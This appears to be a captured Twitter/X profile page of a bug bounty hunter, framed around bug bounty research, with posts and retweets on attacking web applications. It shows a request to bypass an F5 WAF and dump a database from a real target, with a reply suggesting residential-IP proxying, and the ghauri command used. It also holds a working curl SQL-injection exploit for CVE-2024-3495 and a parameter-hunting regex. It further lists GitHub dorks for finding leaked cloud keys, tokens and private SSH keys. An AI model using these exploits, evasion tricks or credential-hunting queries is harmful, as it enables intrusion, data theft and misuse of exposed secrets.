Tahmid Niloy

285 posts

Tahmid Niloy banner
Tahmid Niloy

Tahmid Niloy

@TahmidNil

Ethical Hacker || Cyber Security Researcher || Bug Bounty Hunter

Mirpur, Dhaka, Bangladesh Katılım Aralık 2021
180 Takip Edilen195 Takipçiler
Sabitlenmiş Tweet
Tahmid Niloy
Tahmid Niloy@TahmidNil·
Alhamdulillah Thankful to Almighty Allah for this success. Awarded a €5,000 bounty #bugbountytips #infosec
Tahmid Niloy tweet media
English
1
1
8
314
Be5Lmt
Be5Lmt@Be5Lmt·
SQL Injection without these special chars [' "()\/%*&\`] possible? Yep, me and @or4nge16hehe did it. Using only: [ a-z, 0-9, dot, @+- ] Write-up soon #BugBounty #infosec
Be5Lmt tweet media
English
13
58
701
47.5K
Tahmid Niloy
Tahmid Niloy@TahmidNil·
I’ve identified a confirmed SQLi on a target, but I’m currently stuck due to F5 WAF blocking data extraction. Tested with Ghauri, and injection works, but dumping the DB isn’t possible so far. @nav1n0x @lostsec_ Any guidance or suggestions on handling this kind of WAF situation
Tahmid Niloy tweet media
English
10
5
80
10.6K
Coffin
Coffin@lostsec_·
@TahmidNil @MichaelCarthy @nav1n0x use --confirm it will be bypassed easily.. i tried it last time also if not worked use proxychains with residential ips
English
1
0
1
505
Tahmid Niloy
Tahmid Niloy@TahmidNil·
@nav1n0x @lostsec_ Command I used: ghauri -r sqli.txt -p domain --confirm --technique=BT --dbs --batch --time-sec=2
English
0
0
6
1.1K
Tahmid Niloy retweetledi
Md Ismail Šojal 🕷️
Md Ismail Šojal 🕷️@0x0SojalSec·
Quick and dirty way to find parameters vulnerable to LFI & Path Traversal & SSRF & Open Redirect: Burp Search > Regex \?.*=(\/\/?\w+|\w+\/|\w+(%3A|:)(\/|%2F)|%2F|[\.\w]+\.\w{2,4}[^\w]) And find potentially vulnerable SSRF params - github.com/In3tinct/See-S… #SSRF #cybersec
Md Ismail Šojal 🕷️ tweet media
English
2
152
598
28.2K
Tahmid Niloy retweetledi
VAIDIK PANDYA
VAIDIK PANDYA@h4x0r_fr34k·
Post 5/30 : CVE-2024-3495 - SQLi 1. Find wp-admin.ajax 2. Find out nonce : curl "Target-url" | grep nonce 3. exploit and get version curl -sk 'https:///wp-admin/admin-ajax.php' \ -d "action=tc_csca_get_states" \ -d "nonce_ajax=VALID-NONCE" \ -d "cnt=1 OR 0 UNION SELECT CONCAT(0x76657273696F6E3A,version(),0x7C757365723A,user()),2,3--+" More info: linkedin.com/feed/update/ur…
VAIDIK PANDYA tweet media
English
10
62
334
18K
Tahmid Niloy retweetledi
VAIDIK PANDYA
VAIDIK PANDYA@h4x0r_fr34k·
🔍 GitHub Recon: Complete Guide Here’s a list of dorks you can use: Category 1: Credential & Secret Leakage org:"target" "aws_access_key_id" org:"target" "aws_secret_access_key" org:"target" "Authorization: Bearer" org:"target" "slack_token" path:*.json org:"target" "firebaseio.com" -fork org:"target" "access_token" path:*.json org:"target" "client_secret" path:*.yaml org:"target" "DATABASE_URL" path:*.env org:"target" "jwt_token" path:*.json org:"target" "sendgrid_api_key" These reveal hardcoded cloud keys, Slack tokens, and full environment creds — used in lateral cloud movement. Category 2: Internal Config & CI/CD org:"target" path:**/.env org:"target" path:**/config.js org:"target" path:**/docker-compose.yml org:"target" path:**/config.yaml org:"target" path:**/sshd_config org:"target" path:**/.github/workflows org:"target" path:**/host.json language:json org:"target" "DATABASE_PASSWORD" path:*.properties org:"target" "service_account" path:*.json Great for exposing build secrets, webhook endpoints, ssh configs, or automation credentials. Category 3: Dev/Test & Staging Discovery org:"target" "test_api_key" org:"target" "staging." org:"target" "debug=true" org:"target" "localhost:3000" org:"target" "internal_use_only" org:"target" "test_credentials" org:"target" "example_token" path:*.env These help trace dev > staging > prod transition logic, and may show accessible endpoints. Category 4: Cloud Pivot Points org:"target" "s3.amazonaws.com" org:"target" "gcloud auth activate-service-account" org:"target" "jdbc:mysql://" org:"target" "private_key" path:*.txt org:"target" path:**/id_rsa org:"target" "rds.amazonaws.com" These enable full-blown recon into S3, RDS, or Google Cloud services. 🧠 Smart Usage Tips 1. Use "pushed:>2024-01-01" for fresh commits 2. Combine with -fork to reduce noise 3. Use language: and path: to filter results 4. Automate with GitHub’s API for hourly scans 5. Integrate with subdomain recon for asset correlation (If you learned something, repost it and help others) --- What We do : linktr.ee/tcb_trainings
VAIDIK PANDYA tweet media
English
2
86
262
10.2K